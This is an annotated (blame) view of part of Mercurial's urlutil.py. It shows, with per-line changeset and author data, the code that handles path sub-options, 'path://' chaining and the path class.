33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
726 The function should return the value that will be set on the ``path``
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
727 instance.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
728
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
729 This decorator can be used to perform additional verification of
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
730 sub-options and to change the type of sub-options.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
731 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
732
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
733 def register(func):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
734 _pathsuboptions[option] = (attr, func)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
735 return func
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
736
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
737 return register
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
738
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
739
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
740 @pathsuboption(b'pushurl', b'pushloc')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
741 def pushurlpathoption(ui, path, value):
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
742 u = url(value)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
743 # Actually require a URL.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
744 if not u.scheme:
47276
9cc9b4a25248 urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47273
diff changeset
745 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
9cc9b4a25248 urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47273
diff changeset
746 msg %= (path.name, value)
9cc9b4a25248 urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47273
diff changeset
747 ui.warn(msg)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
748 return None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
749
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
750 # Don't support the #foo syntax in the push URL to declare branch to
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
751 # push.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
752 if u.fragment:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
753 ui.warn(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
754 _(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
755 b'("#fragment" in paths.%s:pushurl not supported; '
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
756 b'ignoring)\n'
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
757 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
758 % path.name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
759 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
760 u.fragment = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
761
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
762 return bytes(u)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
763
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
764
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
765 @pathsuboption(b'pushrev', b'pushrev')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
766 def pushrevpathoption(ui, path, value):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
767 return value
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
768
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
769
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
770 @pathsuboption(b'multi-urls', b'multi_urls')
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
771 def multiurls_pathoption(ui, path, value):
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
772 res = stringutil.parsebool(value)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
773 if res is None:
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
774 ui.warn(
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
775 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
776 )
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
777 res = False
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
778 return res
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
779
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
780
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
781 def _chain_path(base_path, ui, paths):
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
782 """return the result of "path://" logic applied on a given path"""
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
783 new_paths = []
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
784 if base_path.url.scheme != b'path':
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
785 new_paths.append(base_path)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
786 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
787 assert base_path.url.path is None
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
788 sub_paths = paths.get(base_path.url.host)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
789 if sub_paths is None:
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
790 m = _(b'cannot use `%s`, "%s" is not a known path')
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
791 m %= (base_path.rawloc, base_path.url.host)
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
792 raise error.Abort(m)
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
793 for subpath in sub_paths:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
794 path = base_path.copy()
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
795 if subpath.raw_url.scheme == b'path':
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
796 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
797 m %= (path.rawloc, path.url.host)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
798 raise error.Abort(m)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
799 path.url = subpath.url
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
800 path.rawloc = subpath.rawloc
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
801 path.loc = subpath.loc
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
802 if path.branch is None:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
803 path.branch = subpath.branch
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
804 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
805 base = path.rawloc.rsplit(b'#', 1)[0]
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
806 path.rawloc = b'%s#%s' % (base, path.branch)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
807 suboptions = subpath._all_sub_opts.copy()
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
808 suboptions.update(path._own_sub_opts)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
809 path._apply_suboptions(ui, suboptions)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
810 new_paths.append(path)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
811 return new_paths
47186
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
812
26b3953ba1b0 urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47185
diff changeset
813
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
814 class path(object):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
815 """Represents an individual path and its configuration."""
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
816
47185
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
817 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
818 """Construct a path from its config options.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
819
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
820 ``ui`` is the ``ui`` instance the path is coming from.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
821 ``name`` is the symbolic name of the path.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
822 ``rawloc`` is the raw location, as defined in the config.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
823 ``pushloc`` is the raw locations pushes should be made to.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
824
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
825 If ``name`` is not defined, we require that the location be a) a local
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
826 filesystem path with a .hg directory or b) a URL. If not,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
827 ``ValueError`` is raised.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
828 """
47185
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
829 if ui is None:
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
830 # used in copy
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
831 assert name is None
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
832 assert rawloc is None
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
833 assert suboptions is None
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
834 return
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
835
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
836 if not rawloc:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
837 raise ValueError(b'rawloc must be defined')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
838
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
839 # Locations may define branches via syntax <base>#<branch>.
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
840 u = url(rawloc)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
841 branch = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
842 if u.fragment:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
843 branch = u.fragment
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
844 u.fragment = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
845
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
846 self.url = u
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
847 # the url from the config/command line before dealing with `path://`
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
848 self.raw_url = u.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
849 self.branch = branch
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
850
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
851 self.name = name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
852 self.rawloc = rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
853 self.loc = b'%s' % u
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
854
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
855 self._validate_path()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
856
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
857 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
858 self._own_sub_opts = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
859 if suboptions is not None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
860 self._own_sub_opts = suboptions.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
861 sub_opts.update(suboptions)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
862 self._all_sub_opts = sub_opts.copy()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
863
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
864 self._apply_suboptions(ui, sub_opts)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
865
47185
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
866 def copy(self):
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
867 """make a copy of this path object"""
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
868 new = self.__class__()
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
869 for k, v in self.__dict__.items():
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
870 new_copy = getattr(v, 'copy', None)
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
871 if new_copy is not None:
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
872 v = new_copy()
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
873 new.__dict__[k] = v
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
874 return new
a2632ce1f15b urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47030
diff changeset
875
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
876 def _validate_path(self):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
877 # When given a raw location but not a symbolic name, validate the
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
878 # location is valid.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
879 if (
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
880 not self.name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
881 and not self.url.scheme
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
882 and not self._isvalidlocalpath(self.loc)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
883 ):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
884 raise ValueError(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
885 b'location is not a URL or path to a local '
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
886 b'repo: %s' % self.rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
887 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
888
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
889 def _apply_suboptions(self, ui, sub_options):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
890 # Now process the sub-options. If a sub-option is registered, its
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
891 # attribute will always be present. The value will be None if there
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
892 # was no valid sub-option.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
893 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
894 if suboption not in sub_options:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
895 setattr(self, attr, None)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
896 continue
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
897
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
898 value = func(ui, self, sub_options[suboption])
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
899 setattr(self, attr, value)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
900
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
901 def _isvalidlocalpath(self, path):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
902 """Returns True if the given path is a potentially valid repository.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
903 This is its own function so that extensions can change the definition of
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
904 'valid' in this case (like when pulling from a git repo into a hg
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
905 one)."""
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
906 try:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
907 return os.path.isdir(os.path.join(path, b'.hg'))
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
908 # Python 2 may return TypeError. Python 3, ValueError.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
909 except (TypeError, ValueError):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
910 return False
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
911
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
912 @property
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
913 def suboptions(self):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
914 """Return sub-options and their values for this path.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
915
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
916 This is intended to be used for presentation purposes.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
917 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
918 d = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
919 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
920 value = getattr(self, attr)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
921 if value is not None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
922 d[subopt] = value
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
923 return d